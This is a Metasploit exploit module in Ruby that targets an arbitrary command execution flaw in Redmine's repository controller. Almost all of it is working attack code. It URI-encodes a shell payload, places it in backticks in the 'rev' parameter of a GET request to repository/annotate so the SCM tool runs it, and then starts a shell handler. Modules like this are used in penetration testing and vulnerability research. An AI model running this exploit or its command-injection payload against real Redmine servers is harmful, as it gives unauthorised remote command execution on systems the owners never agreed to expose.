##
# $Id: redmine_scm_exec.rb 11516 2011-01-08 01:13:26Z jduck $
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##


require 'msf/core'


class Metasploit3 < Msf::Exploit::Remote
	Rank = ExcellentRanking

	include Msf::Exploit::Remote::HttpClient

	def initialize(info = {})
		super(update_info(info,
			'Name'           => 'Redmine SCM Repository Arbitrary Command Execution',
			'Description'    => %q{
					This module exploits an arbitrary command execution vulnerability in the
				Redmine repository controller. The flaw is triggered when a rev parameter
				is passed to the command line of the SCM tool without adequate filtering.
			},
			'Author'         => [ 'joernchen <joernchen@phenoelit.de> (Phenoelit)' ],
			'License'        => MSF_LICENSE,
			'Version'        => '$Revision: 11516 $',
			'References'     =>
				[
					['OSVDB', '70090'],
					['URL', 'http://www.redmine.org/news/49' ]
				],
			'Privileged'     => false,
			'Payload'        =>
				{
					'DisableNops' => true,
					'Space'       => 512,
					'Compat'      =>
						{
							'PayloadType' => 'cmd',
							'RequiredCmd' => 'generic telnet',
						}
				},
			'Platform'       => 'unix',
			'Arch'           => ARCH_CMD,
			'Targets'        => [[ 'Automatic', { }]],
			'DisclosureDate' => 'Dec 19 2010',
			'DefaultTarget'  => 0))

			register_options(
				[
					OptString.new('URI', [true, "The full URI path to the project", "/projects/1/"]),
				], self.class)
	end

	def exploit
		command = Rex::Text.uri_encode(payload.encoded)
		urlconfigdir = datastore['URI'] + "repository/annotate?rev=`#{command}`"

		res = send_request_raw({
			'uri'     => urlconfigdir,
			'method'  => 'GET',
			'headers' =>
			{
				'User-Agent' => 'Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)',
				'Connection' => 'Close',
			}
		}, 25)

		if (res)
			print_status("The server returned: #{res.code} #{res.message}")
		else
			print_status("No response from the server")
		end
		handler
	end

end

